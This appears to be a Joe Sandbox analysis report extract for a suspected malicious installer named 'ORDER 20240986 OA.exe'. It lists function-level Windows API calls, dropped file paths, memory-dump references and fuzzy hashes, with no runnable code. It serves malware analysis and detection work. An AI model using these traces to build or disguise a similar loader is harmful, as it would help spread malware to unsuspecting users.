Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi
API String ID: 1892508949-3393217848
Opcode ID: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction ID: 83f66e59323efd8676d207054edf3c08df55f1f8244358cc2c8da33562713246
Opcode Fuzzy Hash: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction Fuzzy Hash: 1811D031504500EBCF20BFA1CD0199E36A0EF15329B28493FFA45B22F1DB3E89919A5E

Function 00405273 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052A2
CallWindowProcW.USER32(?,?,?,?), ref: 004052F3

Part of subcall function 0040425A: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040426C

Strings

, xrefs: 00405283

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction ID: beea61cd65c8703650dc93cdae6e0720761c29505c5582e3341eda9a3c117467
Opcode Fuzzy Hash: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction Fuzzy Hash: BD01BC71200608AFEB208F11DD80AAB3B25EF85355F20807FFA01761D0C73A8C919F2E

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 0040205D

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,74DF23A0), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 0040206E
FreeLibrary.KERNEL32(?,?,000000F7,?,?,?,?,00000008,?,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 5475f02f106110a916f15ee9ab206587335882ec0c1efca6123a78a63609b3d2
Instruction ID: 589db8f59639f89aa10495d7cc04380c60c8a7cdceb46225d1e949d191b74c22
Opcode Fuzzy Hash: 5475f02f106110a916f15ee9ab206587335882ec0c1efca6123a78a63609b3d2
Instruction Fuzzy Hash: 51218071D00205AACF20AFA5CE4999E7A70BF04358F74813BF511B51E0DBBD8991DB6A

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00020019), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction ID: aff41db5cb1f43c080787ec2daae132adce55f0eb50407644cc943dfdce05a74
Opcode Fuzzy Hash: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction Fuzzy Hash: 59018471904204BFEB149F95DE88ABF7ABCEF80348F14803EF505B61D0DAB85E419B69

Function 6FBB2A74 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 6FBB2B33
GetLastError.KERNEL32 ref: 6FBB2C3A

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 679bbc20cba08b12891aeb5d61993a45c817104304ddd5503796e98cbcaf6e67
Instruction ID: f7aed9545effcc73a6eafb819e9901feac37a12c9b5bb170ca2b1f67bea57409
Opcode Fuzzy Hash: 679bbc20cba08b12891aeb5d61993a45c817104304ddd5503796e98cbcaf6e67
Instruction Fuzzy Hash: 9B516D76508684DFDF26DFA5E985BAD37B5FB45328F50482ED804CB290CF38A4A2CB51

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction ID: 1ba22ac92ecf447665b3913d31df39b0814a7bcf15a964c104b9173a467dca89
Opcode Fuzzy Hash: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction Fuzzy Hash: 2A119431910205EBDB14DFA4CA585AE77B4FF44348F20843FE445B72C0D6B85A41EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction ID: 2a828f8333626ea4f8ae47897e76cf54d119540c9549312051f7543085d76b41
Opcode Fuzzy Hash: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction Fuzzy Hash: 9101D132624210ABE7095B789D04B6A3698E751315F10C63BB851F66F1DA7C8C429B4D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction ID: ed958cdb0af940290ad8e224458c39a91d35accb7d2f19645d781aa9a2f92111
Opcode Fuzzy Hash: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction Fuzzy Hash: ECE01A72E082008FE764ABA5AA495AD77B4EB91325B20847FE211F11D1DE7858418F6A

Function 00406671 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

Part of subcall function 00406601: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
Part of subcall function 00406601: wsprintfW.USER32 ref: 00406653
Part of subcall function 00406601: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction ID: f8cbec149f8048a337a195de8e089d72e19c2715f3a6386891d9cbb614a09016
Opcode Fuzzy Hash: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction Fuzzy Hash: D3E08C326042116AD7119A709E4497B66AC9A89740307883EFD46F2181EB3A9C31AAAD

Function 00405D8D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\ORDER 20240986 OA.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 00405D68 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,0040596D,?,?,00000000,00405B43,?,?,?,?), ref: 00405D6D
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D81

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 56b75d8f9ca2641e27e40e0bc5846bc1deeaaca66535f557d4a9eea11918b9db
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 39D01272504421AFC2512738EF0C89BBF95DF543717128B35FEE9A22F0CB314C568A98

Function 0040584B Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,0040335F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 00405851
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 0040585F

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 569726fefb5a692a208b00f3c4627a0038051db83374957b12f20e82e1ac62f2
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 97C08C71211501DAC7002F318F08B073A50AB20340F15883DA64AE00E0CA308024D92D

Function 00406132 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 0040615B

Memory Dump Source

